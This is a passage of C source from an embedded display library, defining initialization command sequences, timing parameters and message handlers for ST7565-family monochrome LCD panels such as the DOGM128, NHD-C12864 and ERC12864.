u8x8_d_st7565_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7565 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* DOGM128 */ static const uint8_t u8x8_d_st7565_dogm128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x018), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_ea_dogm128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_dogm128_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LM6063 https://github.com/olikraus/u8g2/issues/893 */ static const uint8_t u8x8_d_st7565_lm6063_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 50/4), /* set contrast, contrast value, 40..60 seems to be good */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_lm6063(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6063_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* Displaytech 64128n */ static const uint8_t u8x8_d_st7565_64128n_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ #ifdef NOT_WORKING U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ //U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ //U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_C(0x010), /* Set V0 voltage resistor ratio. Setting for controlling brightness of Displaytech 64128N */ U8X8_CA(0x081, 0x01e), /* set contrast, contrast value */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ #else U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0A2), /* 0x0a2: LCD bias 1/9 (according to Displaytech 64128N datasheet) */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ //U8X8_C(0x0A0), /* Normal ADC Select (according to Displaytech 64128N datasheet) */ //U8X8_C(0x0c8), /* common output mode: set scan direction normal operation/SHL Select, 0x0c0 --> SHL = 0, normal, 0x0c8 --> SHL = 1 */ U8X8_C(0x040), /* Display start line for Displaytech 64128N */ U8X8_C(0x028 | 0x04), /* power control: turn on voltage converter */ U8X8_C(0x028 | 0x06), /* power control: turn on voltage regulator */ U8X8_C(0x028 | 0x07), /* power control: turn on voltage follower */ U8X8_C(0x010), /* Set V0 voltage resistor ratio. Setting for controlling brightness of Displaytech 64128N */ /* 19 Jul 17: Not sure if this is true, cmd 0x1? is used to set the column */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x081), /* set contrast */ U8X8_C(0x01e), /* Contrast value. Setting for controlling brightness of Displaytech 64128N */ //U8X8_C(0x0af), /* display on */ //U8X8_C(0x0a5), /* display all points, ST7565 */ //U8X8_C(0x0a4), /* normal display */ U8X8_C(0x0ae), /* display off */ #endif U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7565_64128n_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7565_64128n(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_64128n_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_64128n_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* ZOLEN 128x64 */ static const uint8_t u8x8_d_st7565_zolen_128x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c0), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x007), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_zolen_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zolen_128x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* NHD-C12832 */ static const u8x8_display_info_t u8x8_st7565_128x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 32 }; static const uint8_t u8x8_d_st7565_nhd_c12832_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x023), /* set V0 voltage resistor ratio to large*/ U8X8_CA(0x081, 0x00a), /* set contrast, contrast value NHD C12832 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_nhd_c12832(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_nhd_c12832_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* NHD-C12864 */ static const u8x8_display_info_t u8x8_st7565_nhd_c12864_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_st7565_nhd_c12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x025), /* set V0 voltage resistor ratio to large, issue 1678: changed from 0x23 to 0x25 */ U8X8_CA(0x081, 170), /* set contrast, contrast value NHD C12864, see issue 186, increased contrast to 180 (issue 219), reduced to 170 (issue 1678) */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_nhd_c12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_nhd_c12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_nhd_c12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* JLX12864 */ uint8_t u8x8_d_st7565_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_d_st7565_nhd_c12864(u8x8, msg, arg_int, arg_ptr); } /*================================================*/ /* LM6059 (Adafruit)... probably this is a ST7567 display */ static const uint8_t u8x8_d_st7565_lm6059_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x060), /* set display start line to ... */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ //U8X8_C(0x0a1), /* ADC set to reverse */ //U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature) */ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x018), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7565_lm6059_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 1, /* not sure... */ /* flipmode_x_offset = */ 3, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7565_lm6059(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6059_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* https://github.com/olikraus/u8g2/issues/1314 */ /* KS0713 controller, takeover from LM6059 */ static const uint8_t u8x8_d_st7565_ks0713_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0a3), /* LCD bias 1/9 */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_C(0x026), /* set V0 voltage resistor ratio to max */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_CA(0x081, 0x010), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_ks0713(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_ks0713_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LX12864 issue 576 */ static const uint8_t u8x8_d_st7565_lx12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x060), /* set display start line to ... */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ //U8X8_C(0x0a1), /* ADC set to reverse */ //U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature) */ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x008), /* set contrast, contrast value */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7565_lx12864_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 1, /* not sure... */ /* flipmode_x_offset = */ 3, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7565_lx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lx12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lx12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* ERC12864-1 (buydisplay.com) */ static const uint8_t u8x8_d_st7565_erc12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to ... */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ //U8X8_C(0x0a1), /* ADC set to reverse */ //U8X8_C(0x0c0), /* common output mode */ // Flipmode // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature)*/ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x018), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7565_erc12864_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7565_erc12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_erc12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_erc12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg 